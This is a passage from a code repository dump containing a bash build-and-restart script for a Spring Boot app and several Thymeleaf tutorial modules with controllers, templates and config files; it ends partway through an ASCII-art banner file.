    "content": "#!/bin/bash\n# 项目自动更新脚本\n# 先clone相应的分支下来：\n# git clone ssh://git@120.24.173.142:7999/xxx.git\n# 远程调试启动：\n# nohup java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n\nfunction start {\n    profile=\"$1\"\n    echo \"启动环境profile=${profile}\"\n    jarfile=$(ls target/*.jar)\n    if [[ \"$?\" == \"0\" ]]; then\n        stop $profile $jarfile\n    fi\n    branch=$(git branch |awk '{print $2}')\n    git pull origin ${branch}\n    echo \"更新完代码开始重新打包\"\n    mvn clean && mvn clean && mvn package -DskipTests=true\n    if [[ \"$?\" != \"0\" ]]; then\n        echo \"编译出错，退出！\"\n        exit 1\n    fi\n    echo \"nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\"\n    nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n    echo \"启动应用中，请查看日志文件...\"\n}\n\nfunction stop {\n    profile=\"$1\"\n    jarfile=\"$2\"\n    ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep > /dev/null\n    if [[ \"$?\" == \"0\" ]]; then\n        echo \"该应用还在跑，我先停了它\"\n        pid=$(ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep |awk '{print $2}')\n        if [[ \"$pid\" != \"\" ]]; then\n            kill -9 $pid\n        fi\n        echo \"停止应用成功...\"\n    fi\n}\n\nif [[ \"$1\" == \"start\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh start {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    start \"${profile}\"\nelif [[ \"$1\" == \"stop\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh stop  {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh stop {profile}     ==> 停止应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    jarfile=$(ls target/*.jar)\n    stop $profile $jarfile\nelse\n    echo \"参数错误，使用方法：{}参数是必填的，[]参数可选\"\n    echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n    echo \"./epay.sh stop  {profile}    ==> 停止应用，{profile}取值：dev|test|show|production\"\n    exit 1\nfi\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>com.neo</groupId>\n\t<artifactId>spring-boot-thymeleaf</artifactId>\n\t<version>0.0.1-SNAPSHOT</version>\n\t<packaging>jar</packaging>\n\n\t<name>spring-boot-thymeleaf</name>\n\t<description>Demo project for Spring Boot</description>\n\n\t<parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n\t\t<version>2.1.0.RELEASE</version>\n\t\t<relativePath/> <!-- lookup parent from repository -->\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<java.version>1.8</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-thymeleaf</artifactId>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-devtools</artifactId>\n\t\t\t<scope>runtime</scope>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t\t<configuration>\n\t\t\t\t\t<fork>true</fork>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf/src/main/java/com/neo/ThymeleafApplication.java",
    "content": "package com.neo;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class ThymeleafApplication {\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(ThymeleafApplication.class, args);\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf/src/main/java/com/neo/model/User.java",
    "content": "package com.neo.model;\n\nimport org.hibernate.validator.constraints.Length;\nimport org.hibernate.validator.constraints.NotEmpty;\n\nimport javax.validation.constraints.Max;\nimport javax.validation.constraints.Min;\nimport javax.validation.constraints.Size;\n\npublic class User {\n    private String name;\n    private int age;\n    private String pass;\n\n    public User(String name, int age, String pass) {\n        this.name = name;\n        this.age = age;\n        this.pass = pass;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public int getAge() {\n        return age;\n    }\n\n    public void setAge(int age) {\n        this.age = age;\n    }\n\n    public String getPass() {\n        return pass;\n    }\n\n    public void setPass(String pass) {\n        this.pass = pass;\n    }\n\n    @Override\n    public String toString() {\n        return (\"name=\" + this.name + \",age=\" + this.age + \",pass=\" + this.pass);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf/src/main/java/com/neo/web/ExampleController.java",
    "content": "package com.neo.web;\n\nimport com.neo.model.User;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.ui.ModelMap;\nimport org.springframework.web.bind.annotation.RequestMapping;\n\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.List;\n\n@Controller\npublic class ExampleController {\n\n    @RequestMapping(\"/string\")\n    public String string(ModelMap map) {\n        map.addAttribute(\"userName\", \"ityouknow\");\n        return \"string\";\n    }\n\n    @RequestMapping(\"/if\")\n    public String ifunless(ModelMap map) {\n        map.addAttribute(\"flag\", \"yes\");\n        return \"if\";\n    }\n\n    @RequestMapping(\"/list\")\n    public String list(ModelMap map) {\n        map.addAttribute(\"users\", getUserList());\n        return \"list\";\n    }\n\n    @RequestMapping(\"/url\")\n    public String url(ModelMap map) {\n        map.addAttribute(\"type\", \"link\");\n        map.addAttribute(\"pageId\", \"springcloud/2017/09/11/\");\n        map.addAttribute(\"img\", \"http://www.ityouknow.com/assets/images/neo.jpg\");\n        return \"url\";\n    }\n\n    @RequestMapping(\"/eq\")\n    public String eq(ModelMap map) {\n        map.addAttribute(\"name\", \"neo\");\n        map.addAttribute(\"age\", 30);\n        map.addAttribute(\"flag\", \"yes\");\n        return \"eq\";\n    }\n\n    @RequestMapping(\"/switch\")\n    public String switchcase(ModelMap map) {\n        map.addAttribute(\"sex\", \"woman\");\n        return \"switch\";\n    }\n\n    private List<User> getUserList(){\n        List<User> list=new ArrayList<User>();\n        User user1=new User(\"大牛\",12,\"123456\");\n        User user2=new User(\"小牛\",6,\"123563\");\n        User user3=new User(\"纯洁的微笑\",66,\"666666\");\n        list.add(user1);\n        list.add(user2);\n        list.add(user3);\n        return  list;\n    }\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf/src/main/java/com/neo/web/HelloController.java",
    "content": "package com.neo.web;\n\nimport org.springframework.stereotype.Controller;\nimport org.springframework.ui.ModelMap;\nimport org.springframework.web.bind.annotation.RequestMapping;\n\n@Controller\npublic class HelloController {\n\n    @RequestMapping(\"/\")\n    public String index(ModelMap map) {\n        map.addAttribute(\"message\", \"http://www.ityouknow.com\");\n        return \"hello\";\n    }\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf/src/main/resources/application.properties",
    "content": "spring.thymeleaf.cache=false"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf/src/main/resources/templates/eq.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\"  xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"UTF-8\"></meta>\n    <title>Example gt eq  </title>\n</head>\n<body>\n<div >\n    <h1>EQ</h1>\n    <input th:value=\"${name}\"/>\n    <br/>\n    <input th:value=\"${age gt 30 ? '中年':'年轻'}\"/>\n    <br/>\n    <a th:if=\"${flag eq 'yes'}\"  th:href=\"@{http://favorites.ren/}\"> favorites </a>\n</div>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf/src/main/resources/templates/hello.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\" xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"UTF-8\"></meta>\n    <title>Hello</title>\n</head>\n<body>\n<h1  th:text=\"${message}\">Hello World</h1>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf/src/main/resources/templates/if.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\"  xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"UTF-8\"></meta>\n    <title>Example If/Unless </title>\n</head>\n<body>\n<div >\n    <h1>If/Unless</h1>\n    <a th:if=\"${flag == 'yes'}\"  th:href=\"@{http://favorites.ren/}\"> home </a>\n    <br/>\n    <a th:unless=\"${flag != 'no'}\" th:href=\"@{http://www.ityouknow.com/}\" >ityouknow</a>\n</div>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf/src/main/resources/templates/list.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\"  xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"UTF-8\"></meta>\n    <title>Example If/Unless </title>\n</head>\n<body>\n<div >\n    <h1>for 循环</h1>\n    <table>\n        <tr  th:each=\"user,iterStat : ${users}\">\n            <td th:text=\"${user.name}\">neo</td>\n            <td th:text=\"${user.age}\">6</td>\n            <td th:text=\"${user.pass}\">213</td>\n            <td th:text=\"${iterStat.index}\">index</td>\n        </tr>\n    </table>\n</div>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf/src/main/resources/templates/string.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\"  xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"UTF-8\"></meta>\n    <title>Example String </title>\n</head>\n<body>\n    <div >\n        <h1>text</h1>\n        <p th:text=\"${userName}\">neo</p>\n        <span th:text=\"'Welcome to our application, ' + ${userName} + '!'\"></span>\n        <br/>\n        <span th:text=\"|Welcome to our application, ${userName}!|\"></span>\n    </div>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf/src/main/resources/templates/switch.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\"  xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"UTF-8\"></meta>\n    <title>Example switch </title>\n</head>\n<body>\n<div >\n    <div th:switch=\"${sex}\">\n        <p th:case=\"'woman'\">她是一个姑娘...</p>\n        <p th:case=\"'man'\">这是一个爷们!</p>\n        <!-- *: case的默认的选项 -->\n        <p th:case=\"*\">未知性别的一个家伙。</p>\n    </div>\n</div>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf/src/main/resources/templates/url.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\"  xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"UTF-8\"></meta>\n    <title>Example If/Unless </title>\n</head>\n<body>\n<div >\n    <h1>URL</h1>\n    <a  th:href=\"@{http://www.ityouknow.com/{type}(type=${type})}\">link1</a>\n    <br/>\n    <a th:href=\"@{http://www.ityouknow.com/{pageId}/can-use-springcloud.html(pageId=${pageId})}\">view</a>\n    <br/>\n    <div th:style=\"'background:url(' + @{${img}} + ');'\">\n        <br/><br/><br/>\n    </div>\n</div>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf/src/test/java/com/neo/ThymeleafApplicationTests.java",
    "content": "package com.neo;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class ThymeleafApplicationTests {\n\n\t@Test\n\tpublic void contextLoads() {\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf-layout/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>com.neo</groupId>\n\t<artifactId>spring-boot-thymeleaf-layout</artifactId>\n\t<version>0.0.1-SNAPSHOT</version>\n\t<packaging>jar</packaging>\n\n\t<name>spring-boot-thymeleaf-layout</name>\n\t<description>Demo project for Spring Boot</description>\n\n\t<parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n\t\t<version>2.1.0.RELEASE</version>\n\t\t<relativePath/> <!-- lookup parent from repository -->\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<java.version>1.8</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-thymeleaf</artifactId>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>nz.net.ultraq.thymeleaf</groupId>\n\t\t\t<artifactId>thymeleaf-layout-dialect</artifactId>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-devtools</artifactId>\n\t\t\t<scope>runtime</scope>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t\t<configuration>\n\t\t\t\t\t<fork>true</fork>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf-layout/src/main/java/com/neo/TLayoutApplication.java",
    "content": "package com.neo;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class TLayoutApplication {\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(TLayoutApplication.class, args);\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf-layout/src/main/java/com/neo/web/IndexController.java",
    "content": "package com.neo.web;\n\nimport org.springframework.stereotype.Controller;\nimport org.springframework.ui.ModelMap;\nimport org.springframework.web.bind.annotation.RequestMapping;\n\n@Controller\npublic class IndexController {\n\n    @RequestMapping(\"/index\")\n    public String index() {\n        return \"index\";\n    }\n\n    @RequestMapping(\"/fragment\")\n    public String fragment() {\n        return \"fragment\";\n    }\n\n    @RequestMapping(\"/layout\")\n    public String layout() {\n        return \"layout\";\n    }\n\n    @RequestMapping(\"/home\")\n    public String home() {\n        return \"home\";\n    }\n\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf-layout/src/main/resources/application.properties",
    "content": "com.neo.title=\\u7EAF\\u6D01\\u7684\\u5FAE\\u7B11\ncom.neo.description=\\u5206\\u4EAB\\u751F\\u6D3B\\u548C\\u6280\\u672F"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf-layout/src/main/resources/templates/base.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\" xmlns:th=\"http://www.thymeleaf.org\">\n<head th:fragment=\"common_header(title,links)\">\n    <title th:replace=\"${title}\">comm title</title>\n\n    <link rel=\"stylesheet\" type=\"text/css\" media=\"all\" th:href=\"@{/css/myapp.css}\">\n    <link rel=\"shortcut icon\" th:href=\"@{/images/favicon.ico}\">\n    <script type=\"text/javascript\" th:src=\"@{/js/myapp.js}\"></script>\n\n    <th:block th:replace=\"${links}\" />\n</head>\n<body>\n\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf-layout/src/main/resources/templates/fragment.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\" xmlns:th=\"http://www.thymeleaf.org\">\n<head th:replace=\"base :: common_header(~{::title},~{::link})\">\n    <title>Fragment - Page</title>\n    <link rel=\"stylesheet\" th:href=\"@{/css/bootstrap.min.css}\">\n    <link rel=\"stylesheet\" th:href=\"@{/cs/fragment.css}\">\n</head>\n<body>\n\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf-layout/src/main/resources/templates/home.html",
    "content": "<html xmlns:th=\"http://www.thymeleaf.org\"  xmlns:layout=\"http://www.ultraq.net.nz/web/thymeleaf/layout\" layout:decorate=\"layout\">\n<head>\n    <meta charset=\"UTF-8\"></meta>\n    <title>Home</title>\n</head>\n<body>\n    <div  layout:fragment=\"content\" >\n        <h2>个性化的内容</h2>\n    </div>\n</body>\n</html>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf-layout/src/main/resources/templates/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\" xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"UTF-8\"></meta>\n    <title>Index</title>\n</head>\n<body>\n    <div th:insert=\"layout/copyright :: copyright\"></div>\n    <div th:replace=\"layout/copyright :: copyright\"></div>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf-layout/src/main/resources/templates/layout/copyright.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\" xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"UTF-8\"></meta>\n    <title>Title</title>\n</head>\n<body>\n<copyright th:fragment=\"copyright\">\n    &copy; 2018\n</copyright>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf-layout/src/main/resources/templates/layout/footer.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\" xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"UTF-8\"></meta>\n    <title>footer</title>\n</head>\n<body>\n<footer th:fragment=\"footer\">\n    <h1>我是 尾部</h1>\n</footer>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf-layout/src/main/resources/templates/layout/header.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\"  xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"UTF-8\"></meta>\n    <title>header</title>\n</head>\n<body>\n<header th:fragment=\"header\">\n    <h1>我是 头部</h1>\n</header>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf-layout/src/main/resources/templates/layout/left.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\"  xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"UTF-8\"></meta>\n    <title>left</title>\n</head>\n<body>\n<left th:fragment=\"left\">\n    <h1>我是 左侧</h1>\n</left>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf-layout/src/main/resources/templates/layout.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\" xmlns:th=\"http://www.thymeleaf.org\" xmlns:layout=\"http://www.ultraq.net.nz/web/thymeleaf/layout\">\n<head>\n    <meta charset=\"UTF-8\"></meta>\n    <title>Layout</title>\n</head>\n<body>\n<div >\n    <div th:replace=\"layout/header :: header\"></div>\n    <div th:replace=\"layout/left :: left\"></div>\n    <div layout:fragment=\"content\" > content</div>\n    <div th:replace=\"layout/footer :: footer\"></div>\n</div>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/spring-boot-thymeleaf-layout/src/test/java/com/neo/TLayoutApplicationTests.java",
    "content": "package com.neo;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class TLayoutApplicationTests {\n\n\t@Test\n\tpublic void contextLoads() {\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/src/main/java/com/xncoding/pos/Application.java",
    "content": "package com.xncoding.pos;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class Application {\n    public static void main(String[] args) {\n        SpringApplication.run(Application.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/src/main/java/com/xncoding/pos/controller/IndexController.java",
    "content": "package com.xncoding.pos.controller;\n\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.ui.Model;\nimport org.springframework.web.bind.annotation.RequestMapping;\n\n@Controller\npublic class IndexController {\n\n    private static final Logger _logger = LoggerFactory.getLogger(IndexController.class);\n\n    /**\n     * 主页\n     *\n     * @param model\n     * @return\n     */\n    @RequestMapping({\"/\", \"/index\"})\n    public String index(Model model) {\n        model.addAttribute(\"msg\", \"welcome you!\");\n        return \"index\";\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/src/main/resources/application.yml",
    "content": "##########################################################\n##################  所有profile共有的配置  #################\n##########################################################\n\n###################  项目启动端口  ###################\nserver.port: 8092\n\n###################  spring配置  ###################\nspring:\n  profiles:\n    active: dev\n  thymeleaf:\n    mode: HTML\n    cache: false\n  mvc:\n    view:\n      prefix: /templates\n\nlogging:\n  level:\n    org.springframework.web.servlet: ERROR\n\n---\n\n#####################################################################\n########################  开发环境profile  ##########################\n#####################################################################\n\nlogging:\n  level:\n    ROOT: INFO\n    com:\n      xncoding: DEBUG\n  file: D:/logs/app.log\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/src/main/resources/banner.txt",
    "content": " :: :.:..... : ....: ..: ..: : : :..: ..:...:.... :..........:.... .:.: : :.::..:.:......:.:..: : :...:..:::..::.:::::::..::.:::::.::::::::::::::::::::::::::::::::::::::::::;::::::\n.::.:.:::...: ::.:.:.:.:::.::::.::.:.:.:::.:.:.::::.::::.:::.::.:.:.:::::::::::::::.::::::::::::::::::::.:::.:::::::::::::::::::::::;:;:;;;:;;:;:i::::;;,;,,;::;,i;:i;,;:;,;;,;;i:;:\n::.::: :::::::::::::::::.:::::::::::::::.:::::::::::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;;:;;:::::;::::::ii,;,ii,,;,,:ii:ii,;::i:ii:i;,;;,i:,;,:i:::;,,;,,:\n::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;:::;;:::::::::::::::::;::::::;::::::::;:::;::::::i:,;:::;,;:;i:;,,;i;i:i,;,;,:,;,::,;;,;,:,;:;,,;i:;,;::i:,;,,;:;,\n:;;:;;:,i:,;:;::i:i:;:,;,,ii,,:;;,:i,;,,;,,i:,:::;:i::,;::,;,:,::i;,;::;:::::,:;:,::::,::i;:,::::::,:,:,,:ii:i::i:,;,;,:::;:;:;i:i;ii:i;,i;,;:::,:,::,::i:i:,::;,i,;ii;,,::;,:::i:i:\n;ii:,:,;;,;,,:,:;,:,:,::ii;,;:i::;::,:::::::;::,;:,;,:i:,;:::;:i::::::::::::::;,;,;;:::;:::::,::;:::::;,:i::i:;,::::;::::::,::,:i:iiiiiiiiii::i:::;:;:::::::;::i:,;i,i:i:i:,;:::::::\n,;;:;,;::;:::;:i::::::,;::i:i;::::,::;,::::,:::::;:i::;,:::;iifffjiii;i:::::i:,;;:,,:::,::::::::::::::::;,;;,;:;:,;,:;,::::;i:;;:iiiiii,i:,;::::;,:,:::;,;,:,:;,;;ii;,;i;::;::,:i:::\n,i:i::::::::::::::::,::i:i;;ii::;::,::::::::,::::;:i:;,;ijffLffffGGGDDLGfii;;:,;:i::::::;::::::::::::;::;:i;,;:;::;::::::,;:i:;;i:i:iii,;ii:,;::::,:;::::,:;::;,;;,;ii:i;,:;:;::::::\n:ii:;;:,:;,:::::,;,:::::iiiii;,;,:;:i::::::::;::;;,;ii;ifGLGGLGDGGGDDEDGffijiiii;::;:::::::::::::::::,:;:,::::,:,:::,;:::::,::,i:i,ii;;i,;;,;:,::;::::::;:::,;:,;i:i:,;,,;:,:,:;::::\ni;;,:::::::::::::::::::i::i:ii:,::::::::::;:::,;:iii;ifLDGfDDDGDDEEEKEEDEGDDGLfi:,;::::::,::::::::::::::;:;:i:::;:;::::::::;i:;,;:i:ii,;i:::,,::::,;::::,::::::;,:i:i;,;:,::::::,:::\ni:,;,,:::,:::::,::,::,:,;;,;i:i::;,:::::::,::,;,;i;ifLDGGDEKEDEEEKKDEDKEKEEDDDGfi;,::::::::::::::::::::::::::::::::::::::::::,:;:i;;i:;,;,,;::;:;:::::::::::;::,;i:;::;,,;:;;:i:;:::\ni:,;::::::::::::;::::,:::;:i::;,,:,:::::::;:,;iiifGGGDGDEEDKEKEEWW#WKKEWKEW#KKEGj;i;,::::::::::::::::::::.::..::.::...: ::::::,;:;:,;i:i:;::;::;:;:::::::::::::,;;:;:::i,:;:,:::::::\n:;;,::,:;:,::::::,::::,;,:::;,:;;:;:::::::::;,jjfGDGDGGGEDEEKKK#KWK#E#WWW#KWEWEDffii:;::::::.:::::::::::...;;:ijiii:::: :::::;:,:i,:;::;:::,:,::::::::::::,::::::::,::;:::::::::::::\n,::;,::::::::::::::::::::::i:;:::,:,::::.:;,iifffffDGGfLDEKKWK#WKEEWWWEWKKWWWWKKDGGi;,::::::::::::::.:.:;:;;;jLfGGfji;:::::.:::;::;;,:::;,;::;::;:::::::::;::::;:;:;::::::;:::i:::::\n::;::::::::::.:::::::::::::;:::::::,::::::i,ififLDGDDDDEKWEWWK##KWEWWWWKKKWKWWKWWKDGfi;::::::..:::::;,;ijLGjjjtjLGDDGDGGGi::::::::;:::::::::;::;,::::.:::::::::;::,:::;:::::::::::::\n:;:::::::::::.:::::::::::;:::,:;::;::::.::ijtGDGDDDDDEEKWWWKWWWWE##KK##KKWKWK#KWK#EGfii:::: :::::::::iiifLGGGGjjtGGEDGEGDj;;:::;:::;::::;::::::,;:::::::::::::::::;::::::::;:,;:::::\n:::;:::::::.::.:::::::::;:::::::::,::::::ifDGDKEKEDELDKKEKEK#WW#K#WWWWWEWWKK#KK#KKKGGi;::::::.:.::.:;ijfGGGEEDGGtjGGKDDEDG;;:.::::::::::::::::::::::::::::::::::::::;:::::::::::::::\n:::::::::::::::::::::::::::::::::::::::;ifDEDDD#GDEDEWWKEW#W#E#WWWKKWKWWKK#EWK#KEKGjii;:::::::: 